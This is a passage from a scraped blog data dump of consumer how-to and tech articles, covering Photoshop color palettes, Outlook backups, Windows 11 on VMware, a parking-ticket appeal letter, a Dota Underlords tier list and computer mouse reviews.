, located in the top right corner of the workspace.\nThese are the default color patterns, consisting of a group of squares set to grid.\nAlong the top row, you will see a series of seemingly random colors. These are the colors I used recently with Photoshop's Eyedropper tool. Photoshop puts them there so users can quickly reuse them again if needed.\nBelow these patterns is a rectangular grid. This grid contains the default color palette in Photoshop.\nThis grid is also quite good, but as mentioned, we are creating a custom palette, so this grid is not needed. Ignore those swatches.\nStep 3: Delete old colors   To remove these color swatches, click the drop-down menu icon in the top right corner of the Swatches panel .\n  Next, a giant menu will appear. This menu will give you a list of all possible actions with the Swatches control panel .\nPhotoshop will also give you a list of default colors available in this application. Click Preset Manager.\n  \nWhen you click Preset Manager, a new pop-up box will appear. In this box, you can control the currently active color swatches in your Swatches control panel.\nBesides, you can also:\nLoad more colors to have more options for the color palette. Clear color. Rearranging color grid. Rename the colors you already have. Create a whole new set of colors.   To delete these default colors, left-click the first color.\nThen left click, and press Shift key on the last color, to highlight the entire palette (there will be blue borders around the squares).\nNext, click Delete, then select Done.\nDon't worry that this will permanently change your default palette. Photoshop has saved the template for you to call back later.\nStep 4: Use Eyedropper tool   You have now removed the default colors and ready to create new colors.\nTo select individual colors for a custom palette, activate the Eyedropper tool , found in the left toolbar.\n  Next, in the top left corner, where you see the drop-down menu named Sample, click and select All Layers.\nThis All Layers option means that you can sample all layers in a file when they appear in an 'finished' image, rather than the color on the individual layers.\nThis option will make the color selection process much faster.\nStep 5: Create a new color pattern   After selecting the Eyedropper tool and All Layers, click on the page where you want to sample a new color.\nYou can see a color wheel that appears around the color you sampled. On the top of this color circle, you will see the color you are currently sampling (in this example, bright pink). Along the bottom will be the color you sampled earlier with the Eyedropper tool (red in this example).\n  Once you have the colors you want, move the Eyedropper tool through the blank Swatches panel. You can notice that the cursor changes from the Eyedropper icon to Paint Bucket.\nWhen the icon switches, left-click the blank Swatches panel. Photoshop will immediately drop the new color into the panel window.\n  After you drop the color swatches, a window called Color Swatch Name will appear. This is where you will name your new swatch and can save it in the library. After naming the color, click OK.\n  \nIf you click the option to save the color to the library, you can see the Libraries panel appear and expand on the Swatches panel , especially if this is the first time you have completed this step.\nIf you click on the button that says Libraries, this panel will be collapsed and you can continue working on Swatches.\nStep 6: Complete color modeling   After you complete step 5, repeat the above steps several times, until you have the right amount of colors you need for the custom palette.\nEvery time you add a new color, it will display in the Swatches control panel .\n  \nWhen you have all the colors you need, click the Swatches drop-down menu , then click Preset Manager.\nAs I did when I first opened Preset Manager, you will see Load, Save Set, Rename and Delete options.\nHowever, instead of deleting the colors, we will rearrange them based on the colors.\nTo rearrange the colors, click on the color to highlight it. Then click and drag the color to where you want it to appear. You can know where you dragged this color with the blue line that appears when you drag it over the color swatches.\nArranging colors like this allows you to control whether to sample the same color twice.\n  In this case, the author took the same color sample twice. To delete a duplicate color template, click it and then click Delete.\nAfter you are satisfied with the sorted palette, click Done. Photoshop will exit Preset Manager.\nStep 7: Save the palette   After leaving Preset Manager, you can check what colors look like in the Swatches control panel .\nIf you are satisfied with what you have, save this palette.\n  To save these color swatches as a custom palette, click the Swatches drop-down menu , then select Save Swatches.\nThe Save As dialog box will appear and you can name your palette there. Choose a meaningful and easy-to-remember name.\nStep 8: Reset Swatches to default   Suppose you don't want to use this custom palette anymore and want to go back to the default option.\nTo do this, click the Swatches drop-down menu . Then click Reset Swatches.\n  \nWhen Photoshop prompts you to replace the current color, click OK.\nThe important thing to note is that don't click Append here. If you do so, the default colors will be added to the custom palette, rather than replacing them.\nStep 9: Reload the color swatches   Now, the default color palette is working, how can you find your custom color patterns?\nAgain, this process is very simple. Just go to the Swatches control panel , click on the Swatches drop-down menu , then click Replace Swatches.\n  \nIn the Color Swatches folder , you will find the file for the palette you want to use. Select the file you need, click Open and it will load.\nEverything is complete!\nNow that you have learned how to create custom palettes in Photoshop, you can use this skill when designing your next image.\nAre you looking for other ways to customize Photoshop applications? Take a look at how to create a custom brush with TipsMake.com 's Photoshop for more details.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZJyto6m8rnnCqKOoql2lrq2x062cZqGeYq6lu8GeZKmgn6m8tLTOqQ%3D%3D\n","link":"/post/how-to-create-a-custom-color-palette-in-adobe-photoshop/","section":"post","tags":null,"title":"How to create a custom Color Palette in Adobe Photoshop"},{"body":" Making butter in industrial production is probably more complicated than making butter at home, simply skimming milk. But milk is usually only 3% fat at maximum, so we will use something thicker and fat than milk as whipped cream\nbutter fat  Micah Soto Update 07 May 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJuucCrnpqqmaOybq3TZp%2BopZU%3D\n","link":"/post/how-to-make-margarine-at-home/","section":"post","tags":null,"title":"How to make margarine at home"},{"body":"Snap Camera is probably no longer a strange application to users. This application is famous for its cool and unique filters. And in a time when people are learning a lot online, this app will definitely make your online class a lot more fun.\u0026nbsp;\nIn this article, I will guide everyone to add Snap Camera's Filter to the Microsoft team online learning application.\u0026nbsp;\nFirst, you have to download the Snap Camera app here\n  Once the application has been downloaded, go to the application. On the main interface, you will see the webcam display, detect your face, below are effects, camera filters. Your job is to choose one of those filters.\u0026nbsp;\n  Next, you access Microsoft Teams, click on the three dots \u0026gt; Select Settings.\n  Select Devices \u0026gt; In the Camera section, click Snap Camera. So you can already add a filter on your face in every online lesson.\n  Hope my sharing will be useful to everyone. See you in the next posts\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq0usCpZJyZnZq%2For%2BMn6ClrJWnerC6jKagnKqfqLynwIytnJql\n","link":"/post/how-to-use-snap-camera-s-filter-on-microsoft-team/","section":"post","tags":null,"title":"How to use Snap Camera's filter on Microsoft Team"},{"body":" If you receive a traffic ticket, you can appeal the ticket by writing a letter. You may also be able to appeal by phone or email, but a written appeal can be as long as you want it to be and affords you the opportunity to attach supporting...\nPart 1of 3:\nPreparing to Write Your Letter  Take photographs of the scene. When you receive a parking ticket that you suspect is unwarranted, take photographs of the scene to use as evidence in your appeal letter. Take pictures of your car parked in the location where you received the ticket. Also take pictures of any relevant signs, markings on the road or curb, or parking meter. You will attach these photos to your letter.[3]\n  Locate the address. On the ticket you received, you may find instructions on how to appeal the ticket. This address will most likely be the court clerk's office or the agency that issued the ticket. The address may be a specialized department for appeals or correspondence. If there is no address on your ticket, contact the court clerk in your county and ask where to direct your appeal letter.   Review the law. Your ticket will state what vehicle code section or sections you have been charged with violating. Search online for your state's vehicle code and look up the specific violation sections relevant to your case. From the text, you should be able to determine whether you violated the law, or whether the citing officer misinterpreted the law or the facts of the situation.\n Part 2of 3:\nWriting Your Letter  State the facts. Begin the body of your letter by briefly and clearly recounting the facts of the incident. To make your letter easy for the reader to understand, keep your facts in chronological order. Include details about when you arrived, where and how you parked your vehicle, and when you returned. Mind your tone as you write. Although you may be feeling angry or frustrated, keep those emotions out of your letter. You may be tempted to use sarcasm or emotional language, but you should endeavor to sound logical and clearheaded. Do not give the reader a reason to assume that your emotions have clouded your recollection of the facts. For example: 'On November 11, 2015, at 5:50pm, I parked in a metered space in front of the grocery store at the intersection of 12th and G street. I paid for fifteen minutes before going into the grocery store. At 6:00pm, I returned to my vehicle. Although there should have been 5 minutes left on the meter, the meter read zero, and an officer was writing me a ticket. I tried to explain to the officer that the meter was incorrect, but he ignored me.'   Explain why you should not have received the ticket. The second portion of your letter should explain why you did not deserve the ticket you received. This is the place to explain how the officer misinterpreted the law or the circumstances of the incident, or if you believe you had a valid excuse for violating the law, such as breaking down in a loading zone and being unable to move your vehicle. Again, keep your tone professional as you make your explanation. Even if the ticketing officer was mistaken in writing your ticket, do not insult the officer in your letter. For example: 'I should not have received a ticket because I paid for fifteen minutes of parking time and returned to my vehicle after only ten minutes had passed. The meter must have malfunctioned, because it failed to accurately monitor my parking time.'   Make a request. Conclude your letter by telling the reader what you would like him or her to do. In this case, you should ask the reader to repeal the ticket and waive the fine.[4] If you have not yet paid the fine, also ask the reader to extend the due date of your fine until after your appeal has been addressed.[5]   Attach evidence. Include any evidence that might help prove your claim that the ticket is invalid. Your evidence can be any of the following: Photographs of the scene of the incident; Signed witness statements from anyone who confirm what you have written (such as a passenger who can verify that you did not park illegally); or A receipt for vehicle repairs (if you received a ticket as a result of your vehicle being disabled and you not being able to remove it).[6]  Part 3of 3:\nSubmitting Your Letter  Send your letter via certified mail. Send your appeal letter via certified mail and request a return receipt. This way, you can verify that your letter was actually delivered, and you will receive a return receipt proving that you sent the letter prior to any deadline to submit an appeal.\n  Call the clerk to confirm. If you do not get a response from the clerk or citing agency within a few days, call the office to confirm that they received your letter. If the office did not receive your letter, mention that you have a return receipt that states when your letter was delivered. Ask the office when you can expect a response.\n  Attend a hearing if necessary. The clerk or agency may schedule a hearing to resolve your case.[7] On the date of the hearing, arrive early, dress professionally, and wait for your case to be called. Be prepared to state the facts as clearly and concisely as you did in your letter, and bring copies of any evidence you submitted. The judge will ask you to clarify any details about your position before making a decision.\n  Micah Soto Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BinsGmecBmo56spJq%2FbsDOZpqopqSawLV5wGanmqqbnruoedOimqSdpA%3D%3D\n","link":"/post/how-to-write-a-letter-to-contest-a-parking-ticket/","section":"post","tags":null,"title":"How to Write a Letter to Contest a Parking Ticket"},{"body":"As a basic rule, all the received email data is in the * .pst file of Outlook and therefore we just need to copy the * .pst file to a safe location. The article will show you the most basic steps to backup email data on Outlook before you proceed to reinstall your computer.\n4 steps to backup basic Outlook Backup Outlook data in * .pst file Backup Outlook data and other options are not stored in the .pst file Backup or copy mail, contacts and other data in Outlook 2000–2007 Reset the Outlook account after reinstalling the computer What is a * .pst file?\nBasically, you can understand that the file * .pst is the main Outlook file that stores data, received items, sent items, notes, . On Outlook 2007, Outlook 2010 and Outlook 2013, and even Only RSS feed, all data is stored on this * .pst file.\nFile location * .pst\nBy default, the location of the * .pst file is stored at:\n- Outlook 2007 and earlier versions on Windows XP, * .pst file located in:\n C: Documents and Settings% username% Local SettingsApplication DataMicrosoftOutlook  + Outlook 2007 and earlier on Windows Vista, Windows 7 and Windows 8, the * .pst file is in:\n C: Users% username% AppDataLocalMicrosoftOutlook  - Outlook 2010 version on Windows XP, * .pst file located in:\n C: Documents and Settings% username% My DocumentsOutlook Files  - Outlook 2010 and Outlook 2013 versions on Windows Vista, Windows 7 and Windows 8, pst files are in:\n C: Users% username% DocumentsOutlook Files  Backup Outlook data in * .pst file If you only use 1 Outlook account, the process of backing up the * .pst file is quite simple. All you need to do is search all the files with the extension * .pst in drive C by entering * .pst in the Search box on Start as shown below:\n  Now the screen will display a list of search results.\n  Alternatively, you can use another method, which is to log in to your Outlook account, then select File =\u0026gt; Info =\u0026gt; Account Settings (with Outlook 2010 version).\n  In Outlook 2007, and earlier versions, select Tool =\u0026gt; Account Settings.\n  \nAt this time, the Account Settings window will appear. Here you click the Data Files tab and then click Open File Location .\n  \nNext, copy that * .pst file to any folder on your hard drive (usually another drive with the system drive).\nFinally, move all the data to the * .pst file you just copied above.\nBackup Outlook data and other options are not stored in the .pst file Outlook stores the most important data in .pst files, but some settings are stored in separate files, which you can back up or copy. Below is the location of their default files:\nEmail signature\nThe email signature you created in Outlook. The .rtf, .txt and .htm files are named like the signatures in the following default location:\nUsers [user] AppDataRoamingMicrosoftSignatures (Windows Vista or higher) Documents and Settings [user] Application DataMicrosoftSignatures (Windows XP) Note : user : username\nSend and receive profiles\nThese are the settings for sending and receiving calendars in Outlook. The .srs files (for example, Outlook.srs) are stored in the location:\nUsers [user] AppDataRoamingMicrosoftOutlook (Windows Vista or higher) Documents and Settings [user] Application DataMicrosoftOutlook (Windows XP) Email Stationery\nEmail Stationery (including background images and font settings). The .htm files (eg Garden.htm) are saved in the location:\nProgram FilesCommon FilesMicrosoft SharedStationery (Windows Vista and above) Program Files (x86) Common Files Microsoft SharedStationery (Windows Vista or later, using Outlook 32-bit) Program FilesCommon FilesMicrosoft SharedStationery (Windows XP) Messages (and other templates)\nThe email you saved as a template for reuse. The .oft files (eg Template.oft) are saved in the location:\nUsers [user] AppDataRoamingMicrosoftTemplates (Windows Vista and above) Documents and Settings [user] Application DataMicrosoftTemplates (Windows XP) Spelling check dictionary\nThis dictionary contains words you do not want the spell checker in Outlook to mark as misspellings. .Dic files (eg Custom.dic) are saved in the location\nUsers [user] AppDataRoamingMicrosoftUProof (Windows Vista or higher) Documents and Settings [user] Application DataMicrosoftUProof (Windows XP) Outlook printing style\nInstall the printer (including, for example, page size and header or footer text) for the emails you created in Outlook. OutlPrnt files are saved in the location:\nUsers [user] AppDataRoamingMicrosoftOutlook (Windows Vista or higher) Documents and Settings [user] Application DataMicrosoftOutlook (Windows XP) Install navigation pane\nOptional Outlook navigation pane (such as favorites folder). The .xml files are named the same as Outlook profiles (for example: Personal.xml) saved in location:\nUsers [user] AppDataRoamingMicrosoftOutlook (Windows Vista or higher) Documents and Settings [user] Application DataMicrosoftOutlook (Windows XP) Outlook versions before Outlook 2010 have more than some installation files (information contained in .pst or .ost files starting from Outlook 2010):\nAuto Complete List (Before Outlook 2010)\nAddress is recommended for email recipients in Outlook versions before 2010. The .n2k files (eg Personal.n2k) are saved in the location:\nUsers [user] AppDataRoamingMicrosoftOutlook (Windows Vista or higher) Documents and Settings [user] Application DataMicrosoftOutlook (Windows XP) Email filtering rules (before Outlook 2010)\nFilter messages in Outlook versions before 2010. .rwz files are saved in location:\nUsers [user] AppDataRoamingMicrosoftOutlook (Windows Vista or higher) Documents and Settings [user] Application DataMicrosoftOutlook (Windows XP) Personal Address Book (Before Outlook 2007)\nThe address book is used with Outlook 97, 98, 2000 and 2002 versions. The .pab file is saved in the location:\nUsers [user] AppDataLocalMicrosoftOutlook (Windows Vista or higher) Documents and Settings [user] Local SettingsApplication DataMicrosoftOutlook (Windows XP) Backup or copy mail, contacts and other data in Outlook 2000–2007 To create a copy of mail, contacts, calendar and other data in Outlook, follow the steps below:\nStep 1 : Move to the Outlook folder in Windows Explorer.\nStep 2 : Highlight all files whose tail ends with .pst. Make sure your selection includes outlook.pst and archive.pst. If you have Windows Explorer configured to not display file extensions for known formats, find the Microsoft Office Outlook Personal Folders file.\nStep 3 : Select Edit\u0026gt; Copy from the menu to copy the selected files. Open the folder where you want to place your backups in Windows Explorer. You should leave it on another computer, removable drive, on the Internet or at least on another hard drive.\nStep 4: Select Edit\u0026gt; Paste from the menu to paste your .pst files into the backup location.\nReset the Outlook account after reinstalling the computer To reset your Outlook account after reinstalling your computer, follow the steps below:\nFirst open Microsoft Outlook installed on your computer. At this point on the screen displays the mailbox setup interface.\nIn the Add New Account window select the Manually configure server settings or additional sever types option and click Next .\n  On the next window, fill in all necessary account information.\nIf you want to restore the old backed up emails, in Deliver new messages to section select the Existing Outlook Data File option then click Browse , browse to the location where you saved the backup files (backup) above.\n    Finally click Finish to complete the process.\nBy backing up the original data file of Outlook, you will no longer have to worry about reinstalling the operating system or problems affecting the system drive (usually C drive) but you have not backed up yet. Email data.\nRefer to some of the following articles:\nInstructions 4 simple ways to backup Outlook data Outlook cannot send mail after upgrading Windows 10, this is a fix How to turn on POP / IMAP Gmail to use in Outlook Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaakai2pHnSrZypq12pvG6uwJyirqhdpMK1uM6oomackamu\n","link":"/post/instructions-for-basic-steps-to-backup-outlook-data/","section":"post","tags":null,"title":"Instructions for basic steps to backup Outlook data"},{"body":"First, before installing Windows 11 on a virtual machine, you need to prepare the following:\nDownload and install VMware Workstation 16 Player, it's free software ISO file of Windows 11, you can download it at the link we provide below How to download Windows 11, download official Windows 11 ISO from Microsoft Step 1: First you open VMware Workstation 16 Player then select Create a New Virtual Machine\n  Step 2: Select Installer disc image file (iso)\n  Step 3: Click Browse to find where you put the Windows 11 ISO file, select the ISO file and then click Open \u0026gt; Next\nStep 4: In the new screen, select Microsoft Windows in the Guest operating system section and scroll down to select Windows 10 64-bit in the Verison section\n  Step 5: Name the virtual machine and choose a storage location\n  Step 6: Choose the capacity for the hard drive on the virtual machine\n  Step 7: Confirm the configuration, you can customize if you are not satisfied by clicking Customize Hardware. If it is ok, click Finish to complete the virtual machine configuration\n  Step 8: On the interface of VMware Workstation 16 Player, click the Play virtual machine button to run the newly created virtual machine\n  Step 9: You wait until the system displays the interface below\n  Step 10: In this interface, use the down arrow key to move to Enter Setup and then press Enter\n  Step 11: Select Boot From a file and press Enter\n  Step 12: Press Enter to select the first file\n  Step 13: Press Enter\n  Step 14: Select BOOT and press Enter\n  Step 15: Select BOOTX64.EFI and then press Enter\n  Step 16: After completing the above steps, the system will bring you to the screen to select the time, language and keyboard. When finished, click Next to continue.\n  Step 17: Click the Install now button to start the installation\n  Step 18: In the product key input interface, select I don't have a product key\n  Step 19: On this new screen, you can choose the version of Windows 11 you want to install and then click Next\n  Step 20: In the next screen, select Custom: Install Windows only (advanced). Note: This option may cause you to lose all data in the drive where you plan to install Windows 11.\n  Step 21: Select the drive where you will install Windows 11. Here, you can use the drives (available partitions) or create a new drive to install Windows 11\n  Step 22: The installation will take place and you need to wait a short time before continuing\n  Step 23: After installing step 8, the machine will reboot and the welcome screen with the new basic settings of Windows 11 will appear. First, Windows 11 will ask you if this is your country or region? You can reset it if needed.\n  Step 24: Next is setting up the keyboard. When you have finished selecting the main keyboard, Windows 11 will ask if you want to install an additional keyboard, click Add layout to add or Skip to skip depending on your needs.\n  Step 25: You have to wait for Windows 11 to check for any updates.\nStep 26: At this screen, Windows 11 asks you to choose the intended use of the device. There are two options: For personal use and For work or study, you choose according to your needs.\n  Step 27: In this step, you need to set up an account to log in to the device. Microsoft shows default login method with Microsoft account. However you can also change it by clicking Sign-in options\n  Step 28: In Sign-in options, you have three options: sign in with a security key (USB format), set up an offline account or use the forgot username function.\n  Step 29a: If you log in with a Microsoft account, click back to enter your account and password.\n  Step 29b: If you create an offline account for your device, you will have to set up a login username and password\n  Step 30a: Set up a PIN for quick login to Windows 11 computers\n  Step 30b: This step is for those who sign in with a Microsoft account. Windows 11 will ask if you want to restore data from the old computer or want to set up completely new. You choose according to your needs.\n  Step 31: Choose privacy settings for your computer\n  Step 32: Customize the experience\n  Step 33: Select storage. Here, Microsoft will ask you if you want to back up your data to OneDrive or just want to save it on your computer\n  After step 33 your computer will need a few minutes of setup and you will be greeted by the new look of Windows 11.\nHope you are succesful.\nhow to install win 11 on virtual machine how to install windows 11 on virtual machine ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddnru0wMClo2avmaOxsMPSZmhqZZ%2Bjere10a2smqRdoq6ktMinnGagn6x6tbuMoqWsrJGhuW7DyKebqK%2BjYn5yec6nZK%2Blp5a%2Fpg%3D%3D\n","link":"/post/steps-to-install-windows-11-on-virtual-machine-how-to-install-windows-11-on-vmware/","section":"post","tags":null,"title":"Steps to install windows 11 on virtual machine, how to install windows 11 on VMware"},{"body":"Recently, Samsung has launched a new smartphone called Galaxy Xcover FieldPro exclusively for government agencies, fire protection police, rescue workers . at the International Police Chief Conference.\nThis is a smartphone with a classic design and form \"workhorse\" ruggedized. Galaxy Xcover FieldPro is reminiscent of Samsung's previous Galaxy Active series.\n  Galaxy Xcover FieldPro can survive a variety of harsh environmental conditions thanks to its IP68 water resistance and MIL-STD-810G military certification.\nGalaxy Xcover FieldPro is equipped with Exynos 9810 chip, 4GB of RAM and 64GB of internal memory, with memory card expansion support, 4500mAh battery. The battery of the device is removable and replaced with another battery included in the box.\n  The screen of the device has a size of 5.1 inches, QHD resolution, 16: 9 aspect ratio. Rear camera has a resolution of 12MP (aperture dual) accompanying LED flash, camera resolution 8MP selfie. The device is equipped with a fingerprint sensor.\nGalaxy Xcover FieldPro on a separate keypad can be used to set up to send GPS data or send emergency requests. This keyboard can also be used as a radio talk.\n  It also supports FirstNet (Band 14) a frequency channel used by the responders, operated by US operator AT\u0026amp;T.\nSamsung has not announced the price of the Galaxy Xcover FieldPro, but this device will probably only provide the machine for government contracts, not for ordinary users.\nHuawei launches GT 2 Watch, listen instead called smartphones, 2 week battery, waterproof 50 meters, priced from 5.49 million Google launched the duo Pixel 4/4 XL Pixel, 90Hz display, Snapdragon 855, prices from 18.6 million Xiaomi designed a new smartphone: 2 selfie cameras at the edge of the bezel ncG1vNJzZmismaXArq3KnmWcp51ktKK4wLGwZrCTpMOmvoyfoJ6klKW%2FsHnSrqeeql2ZwrOtwaWcZqudlr%2B1vMeopZ5llqS%2FbsHSZpignZ6pwG67zaWw\n","link":"/post/super-durable-smartphone-for-us-agents-only/","section":"post","tags":null,"title":"Super durable smartphone for US agents only"},{"body":"Any game has strong and weak guys, as is Dota Underlords. The chess pieces in Dota Underlords will have the chess pieces hunted and there are also chess pieces nobody will touch.\nDota Underlords has updated many new updates to fix the gamers' wishes. And despite many updates, the following pieces still have the strength to be sought by many players. Below is the ranking of the strongest generals in Dota Underlords.\nInstructions on Server Test Dota Auto Chess How to upgrade 2 stars and 3 stars in Auto Chess Mobile Gold farm tips and choose Auto Chess Mobile Dota Tier Underlords List: S Tier Enigma - 5 cost, Primordial / Warlock Kunkka - 4 cost, Human / Warrior Medusa - 4 cost, Scaled / Hunter Mirana - 4 cost, Elusive / Hunter Tidehunter - 5 cost, Scaled / Hunter Wind Ranger - 4 cost, Elusive / Hunter Dota Tier Underlords List: A Tier   Abaddon - 3 cost, Heartless / Knight Beastmaster - 2 cost, Brawny / Hunter Bloodseeker - 1 cost, Human / Assassin Clockwork - 1 cost, Scrappy / Inventor Doom - 4 cost, Demon / Warrior Dragon Knight * - Human / Dragon / Knight Gyrocopter - 5 cost, Deadeye / Inventor Keeper of the Light * - 4 cost, Human / Mage Lycan - 3 cost, Human / Savage Lone Druid - 2 cost, Savage / Druid Necrophos - 4 cost, Heartless / Warlock Ogre Magi - 1 cost, Blood-Bound / Mage Queen of Pain - 2 cost, Demon / Assassin Razor - 3 cost, Primordial / Mage Shadow Fiend - 3 cost, Demon / Warlock Slark - 3 cost, Scaled / Assassin Sniper - 3 cost, Deadeye / Hunter Techies - 5 cost, Scrappy / Inventor Terrorblade * - 3 cost, Demon / Demon Hunter Troll Warlord - 4 cost, Troll / Warrior Warlock - 1 cost, Blood-Bound / Warlock Dota Tier Underlords List: B Tier   Arc Warden - 3 cost, Primordial / Shaman Alchemist - 4 cost, Scrappy / Warlock Chaos Knight - 2 cost, Demon / Knight Crystal Maiden - 2 cost, Human / Mage Drow Ranger - 1 cost, Heartless / Hunter Disruptor - 4 cost, Brawny / Shaman Enchantress - 1 cost, Savage / Druid Juggernaut - 2 cost, Brawny / Warrior Lich - 5 cost, Heartless / Mage Lina - 3 cost, Human / Mage Luna - 2 cost, Elusive / Knight Morphling - 2 cost, Primordial / Assassin Nature's Prophet - 2 cost, Elusive / Druid Puck - 2 cost, Dragon / Mage Pudge - 2 cost, Heartless / Warrior Shadow Shaman - 1 cost, Troll / Shaman Templay Assassin - 4 cost, Elusive / Assassin Timbersaw - 2 cost, Scrappy / Inventor Venomancer - 3 cost, Savage / Warlock Viper - 3 cost, Dragon / Assassin Witchdoctor - 2 cost, Troll / Warlock Dota Tier Underlords List: C Tier   Ax - 1 cost, Brawny / Warrior Anti-Mage - 1 cost, Elusive / Demon Hunter Batrider - 1 cost, Troll / Knight Omniknight - 3 cost, Human / Knight Sand King - 3 cost, Savage / Assassin Slardar - 2 cost, Scaled / Warrior Tinker - 1 cost, Scrappy / Inventor Tiny - 1 cost, Primordial / Warrior Tusk - 1 cost, Savage / Warrior Bounty Hunter - 1 cost, Scrappy / Assassin Treant Protector - 2 cost, Elusive / Druid With the chart above you can see that the majority of Hunter chess pieces with the Hunter effect are dominating the meta of Dota Underlords.\nIn addition, Alliance like Assassin , Inventor and Scrappy also possess relatively good power compared to the price needed to build. As for the Mage, it is quite unlucky when the AI ​​of the Mage chess pieces is dumb and quite difficult to use.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdnLKvsdGao2aqkaO4qrrGrGSdp6SWera6w56ppaeimcBuwM6dmLI%3D\n","link":"/post/the-best-general-rankings-dota-underlords-today/","section":"post","tags":null,"title":"The best general rankings Dota Underlords today"},{"body":"Many laptop and tablet manufacturers think the best way to interact with a computer is to use a finger or a stylus, but that's not true. There is nothing better than using a mouse on a computer. Whether using Windows 10 or macOS Mojave, the trackpad or touch screen does not bring the same experience. Good computer mice are not limited to small spaces on the laptop chassis, so it performs much more precisely. Here is a list of the best 2019 computer mice you can refer to.\nNote : The price of the computer mouse below is the reference price at the time of writing, may change, contact the seller to get the most accurate price.\nThe best computer mouse 1. Logitech MX Master 2S (over 2 million VND) 2. Logitech MX Anywhere 2 (1.1 million VND) 3. Microsoft Classic IntelliMouse (more than 600 thousand VND) 4. Anker Vertical Ergonomic Optical Mouse (232 thousand VND) 5. Apple Magic Mouse 2 (VND 1.6 million) 6. Logitech MX Vertical (more than 2 million VND) 7. Logitech MX Ergo Wireless (nearly 1.8 million VND) 8. Logitech M330 Silent Plus (more than 190 thousand VND) 9. Microsoft Bluetooth Mobile Mouse 3600 (nearly 350 thousand VND) 10. Razer DeathAdder Chroma (over 1 million VND) 1. Logitech MX Master 2S (over 2 million VND) DPI (Sensitivity of integrated sensor on mouse): 4000 Interface : Bluetooth and 2.4GHz wireless Button : 7 Ergonomics : Right-handed Features : Mouse rollers, custom buttons, wheels, ergonomics design Advantages:\nButtons are customizable Surprising tracking Defect:\nThe design is not ambidextrous Expensive   Logitech MX Master 2S is not cheap but don't let its price scare you. This computer mouse is one of the best mice in 2019. Although most mice with this price segment often appeal to gamers with odd button settings and sharp design, but this mouse create only for productivity. Many people think there is no need to spend so much money just to own the mouse for office work, but when you really touch Logitech MX Master 2S, you will give up that idea immediately.\n2. Logitech MX Anywhere 2 (1.1 million VND) DPI : 1600 Interface : Bluetooth and 2.4GHz wireless (connected to three devices) Button : 6 Ergonomics : Right-handed Features : Mouse roller, using Logitech Darkfield Laser Tracking technology, Unifying receiver receiver, Easy-Switch technology, gesture function Advantages:\nPair with three devices Compact design and high mobility There are free roll wheels Defect:\nThe battery is not removable Cannot be used with wires   Smaller than Logitech, MX Master's flagship, Logitech MX Anywhere 2 is the ideal mouse for travel. It can connect up to three separate devices using 2.4GHZ wireless technology or with Bluetooth. That's why this mouse is famous for its fast setup and surprisingly long battery life. It is able to charge extremely fast in just 4 minutes and can be used all day.\n3. Microsoft Classic IntelliMouse (more than 600 thousand VND) DPI : 3200 Interface : Wired Button : 5 Ergonomics : Right-handed Features : Classic design, programmable button, soft white light Advantages:\nRugged design Quick response Defect:\nNeed to use with wire   Today, our peripherals are either filled with unnecessary light or designs with strange shapes. Therefore, Microsoft Classic Intellimouse with classic design and attractive white light brings a new wind to users when choosing a computer mouse. It also enhances the sensor, allowing users to increase the DPI number to 3200. Although this mouse needs to use wires and is not created for gaming, it can help you complete most writing tasks. room.\n4. Anker Vertical Ergonomic Optical Mouse (232 thousand VND) DPI : 1000 Interface : USB Button : 5 Ergonomics : Stand Other features : No Advantages:\nGood for people who suffer and prevent RSI syndrome Cheap Defect:\nThumb buttons do not work on Mac The design is not very well designed   This mouse has a strange appearance and the name is difficult to read but when using Anker Vertical Ergonomic Optical you will see the difference and this is probably one of the best mice you have ever used. Although it does not have as many features as other ergonomic mice, it helps prevent RSI syndrome.\n5. Apple Magic Mouse 2 (VND 1.6 million) DPI : 1300 Interface : Bluetooth Button : 0 Ergonomics : Both hands Features : Multi-touch Advantages:\nGreat design Smart multitouch Defect:\nExpensive   When Apple is not busy creating expensive phones that scan your face, they create one of the most exotic mice. When looking at the parameters of this mouse, you think you might be dizzy when there are no buttons on Magic Mouse 2. Instead, Magic Mouse 2 tries to compensate for its aesthetics. This mouse is completely gesture controlled, providing benefits when using trackpad and mouse simultaneously.\n6. Logitech MX Vertical (more than 2 million VND) DPI : 4,000 Interface : Bluetooth (can connect up to three devices); USB-C Button : 6 Ergonomics : Right-handed Features : Ergonomically designed, easy switch, fast charging, cursor speed conversion Advantages:\nComfortable design Battery life up to four months Defect:\nExpensive   If you're looking for an extremely comfortable computer mouse to work with, you need a mouse that focuses on ergonomics. Fortunately Logitech MX Vertical is the perfect choice for what you need. This is a kind of standing mouse, but it gives you a natural feeling like when holding a normal mouse, which helps reduce the pressure on the wrist and wrist muscles. In addition, it has a convenient small button at the top that helps you quickly switch between computers without moving the mouse to perform.\n7. Logitech MX Ergo Wireless (nearly 1.8 million VND) DPI : 512 - 2048 Interface : Bluetooth and 2.4GHz wireless Button : 8 Ergonomics : Right-handed Features : Trackball, USB dongle, Logitech's Flow software compatibility to simultaneously use up to three PCs at a time, micro USB charging, precise mode Advantages:\nComfortable design Accurate trackball Defect:\nThere is no version for left-handed people The tilt option is limited   MX Ergo Wireless is Logitech's third trackball mouse launched since 2008, which is considered an 'unusual phenomenon' in the industry with many optical mice and laser mice. This will appeal to those who haven't completely switched over to the touchpad on the computer. It has options to use on a plane or italic angle at 20 degrees.\nDifferentiate optical mice and laser mice 8. Logitech M330 Silent Plus (more than 190 thousand VND) DPI : 1000 Interface : 2.4GHz Wireless Button : 3 Ergonomics: Right-handed Features : Quiet button, 10-meter wireless connection, 2 x AA battery (battery life is thought to be usable up to 24 months) Advantages:\nWorks almost no noise Compact design Defect:\nButton with short design No Bluetooth connection   This is one of the best mice you should consider if you can't stand the noise emitted by the mouse when operating. Logitech M330 Silent Plus has a compact design and no noise when used. It is suitable for use on aircraft trays next to sleeping people. It is also suitable for traveling because it weighs less than a quarter of a pound.\n9. Microsoft Bluetooth Mobile Mouse 3600 (nearly 350 thousand VND) DPI : 1000 Interface : Bluetooth Button : 2 Ergonomics : Both hands Features : No Advantages:\nVery cheap price Comfortable use Defect:\nSmaller than other computer mice Basic features   The 